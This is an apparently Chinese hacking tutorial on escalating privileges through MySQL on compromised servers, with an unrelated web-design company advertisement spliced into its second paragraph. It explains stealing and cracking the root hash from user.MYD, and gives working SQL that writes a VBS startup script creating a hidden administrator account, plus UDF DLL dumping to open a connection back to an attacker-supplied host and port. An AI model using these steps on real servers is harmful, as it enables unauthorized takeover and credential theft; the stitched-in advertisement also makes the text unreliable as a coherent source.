利用mysql提权的前提就是,服务器安装了mysql,mysql的服务没有降权,(降权也可以提,没降权的话就最好了),是默认安装以系统权限继承的(system权限). 并且获得了root的账号密码
目前累计服务客户上千余家,积累了丰富的产品开发及服务经验。以网站设计水平和技术实力,树立企业形象,为客户提供网站设计、成都网站设计、网站策划、网页设计、网络营销、VI设计、网站改版、漏洞修补等服务。创新互联建站始终以务实、诚信为根本,不断创新和提高建站品质,通过对领先技术的掌握、对创意设计的研究、对客户形象的视觉传递、对应用系统的结合,为客户提供更好的一站式互联网解决方案,携手广大客户,共同发展进步。
先来说说我是咋判断一台windows服务器上的mysql有没有降权的. 0.0如果能运行cmd的话,我会先看看有啥用户先,如果有mysql mssql这样用户名,或者类似的.我就会猜测他的mssql服务或者mysql的已经被降权运行了.但并不代表不能提权,只要能运行cmd..
接着说一下,判断服务器上是否开启了mysql服务. 一般在拿到webshell的时候,都会扫描一下端口,如果开启了3306端口的话,我会telnet 过去看看- -.忘了有无回显~(提权的时候,大多数 3306端口的都是不支持外链的.呃,我遇到的大多数是这样, 有root可以开启外链.) 当然也有一些管理员会把mysql的默认端口改掉.另外一个判断的方法就是网站是否支持php,一般支持php的网站都用mysql数据库的.php+mysql啊,好基友啊好丽友- -~(当然,也有一些网站用其他的一些更专业的数据库).
再说说如何查找mysql root的密码.
MYSQL所有设置默认都保存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也就是安装程序的data目录下,如图2所示,有关用户一共有三个文件即user.frm、user.MYD和 user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。
User.frm user.myd User.myi
这几个文件.在webshell下,下载下来,解密.用c32asm或者其他的一些文本编辑器user.MYD打开.
A30F80616A023BDFC9
复制到cmd5.com那查一下,或者用cain爆破一下.
打开后使用二进制模式进行查看,如图所示,可以看到在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,即A30F80616A023BDFC9 。
具体使用cain破解的,我这就不演示了
还有一个查找的方法就是,一些php网站安装的时候用的是root用户,例如dedecms,他数据库安装的信息就是写在data/common.inc.php
据我所知mysql没有管理账号这样的概念,只有不同的用户权限。默认root用户就具有所有的权限,你可以新建一个用户,使它拥有所有的权限,还可以指定从什么地方登陆。权限划分可以很细的,可以精确到table,像select这种简单的查看功能命令都可以限定。具体命令像create,grant等等可以找本书看看。希望help you。reference51cto,365testing
select @@global.secure_file_priv;
查看MySQL服务器的文件读写权限
如果是NULL就是完全禁止
udf提权用到的so文件(linux)在kali下默认集成,路径为 /usr/share/sqlmap/udf/mysql/linux/64(32)
或者 searchsploit mysql udf
把对应的内容编译出来
mysql创建函数命令
mysql 5.1版本以上,必须把udf文件放到mysql安装目录下的lib/plugin下才能创建自定义函数,mysql into dumpfile并不能创建文件夹,所以mysql 5.1以上的版本,root权限提权就很困难了,目前已有的方法只有写启动项如下:
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user 007hack.com qwer1234!@#$qwe /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 007hack.com /add"",0) " );
windows 2008启动项:
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs
select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs";
写启动项缺陷:
1、需要服务器重启(如果管理员3389远程桌面登陆时注销了用户,再次3389连接时,这个脚本就会运行,添加一个管理员,不需要重启)。
2、安全软件可能会拦截。
补充:
如果mysql小于5.1是root权限,windows 2008一样可以拿到系统权限(mysql无降权处理)
1、mysql导出一个dll
SELECT udf FROM 007hack_tab INTO DUMPFILE 'c:/007hack.dll
//udf内容网上早有公开
2、创建一个函数
create function myconnect returns integer soname 'c:\\007hack.dll
//c盘要可以写,注意是”\\”
3、调用这个函数
select myconnect('".$chost."','".$cport."')
//这只是一个例子